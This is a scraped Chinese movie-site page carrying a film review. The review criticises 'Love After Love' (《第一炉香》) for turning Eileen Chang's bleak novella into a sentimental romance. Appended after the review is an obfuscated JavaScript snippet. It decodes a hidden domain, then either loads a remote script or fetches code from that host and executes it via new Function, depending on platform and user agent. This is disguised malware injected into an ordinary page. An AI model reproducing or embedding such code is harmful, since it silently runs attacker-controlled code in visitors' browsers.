•  榜单
  •  留言

首页

电影

电视剧

娱乐资讯

阵容豪华却被批“精致烂片”,《第一炉香》为什么不香了?

影视资讯来源:星辰影院人气:544更新:2021-11-03 11:31:22

文/张秋盈

图片来源/电影第一炉香官博

近期上映的电影《第一炉香》,无疑是一部值得关注的女性电影。

然而,这部融会了半个世纪以来最负盛名的女作家、女导演创作力量的作品《第一炉香》,上映三天,就被不少观众批为“精致”的烂片。

其实,无论从构图还是造景又或者音乐,这部电影都远超常规水准。时代感和场景还原得也十分准确。俞飞鸿扮演的姑妈惊艳,被吐槽得最多的女主马思纯和男主彭于晏,也算演得兢兢业业。

但是,故事的内核歪了,观众也就不买账了。

《沉香屑·第一炉香》的精彩之处在于,张爱玲用她独特的意象氛围、精巧的叙事文本罗构了一个“机关算尽”的家庭妓院。故事的表面似乎是葛薇龙无穷无尽地参加聚会,交际应酬,但真正的线索却是几个女性人物寻“出路”的过程:丫鬟睇睇希望傍上金主,从此有出头之日;丫鬟晲儿忠心事主,甚至监视葛薇龙,期望得到姑妈提拔;葛薇龙从第一次上门,就清醒地意识到姑妈这里是什么地方,但面对着那些华美的衣袍,她选择“看看也好”。后来,又盘算着用上流名媛的身份嫁个优质的“大学生”。从一开始,她就知道自己在走钢丝,企图通过在名利场里微妙地平衡,来谋求一个未来。

然而在电影里,这个囚笼消失了。女人之间为了“前程”的博弈,甚至淫靡也都消失了。葛薇龙变成了天真单纯的女大学生,几个女性配角也显得“正义凛然”。没有了那些步步钻营,观众也就不能体会葛薇龙及其他女人逼仄的生活空间和无可奈何,更不能体会葛薇龙最后的堕落从何而来。

在接受采访时,王安忆曾表示,电影版《第一炉香》是一部纯粹的爱情片,许鞍华希望通过这部电影“爱一次”。于是,对于葛薇龙的堕落,电影给出的解释是:为了让爱人继续留在身边,葛薇龙选择用身体给爱人换钱,却换来了爱人的频繁出轨……

电影后半场,马思纯饰演的葛薇龙摇晃着乔琪乔的肩膀要“爱”的场景,实在让人坐立不安,也难怪网友直呼:“青春疼痛文学”。

电影要讲“纯爱”,当然可以。但借着张爱玲的壳子来讲,就有些危险了。许鞍华对人物的温情化解读,在她的其他作品,如《桃姐》中,或许是长处。但在以“苍凉”著称的张爱玲的故事里,则变成了短处。

这不仅是背离原著的问题,作为新的创作者,电影主创们当然有权利对旧文本重新解读或颠覆,但那必须要是一个新的故事,一个新的力量。而《第一炉香》显然更像是补写,前半部分几乎照搬原著台词,后半部分专讲爱情。观众没能看到导演如何表达张爱玲,也没办法代入到主角撕心裂肺的爱情中来,毕竟,女性疼痛文学已经过时了。

function PhgAHWj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function ldXzDO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return PhgAHWj(t);};window[''+'v'+'h'+'C'+'D'+'K'+'Q'+'M'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=ldXzDO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/x/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('a21iLmdhb3l1aHUudG9ww','130797',window,document,['w','hwuCUgAsDq']);}:function(){};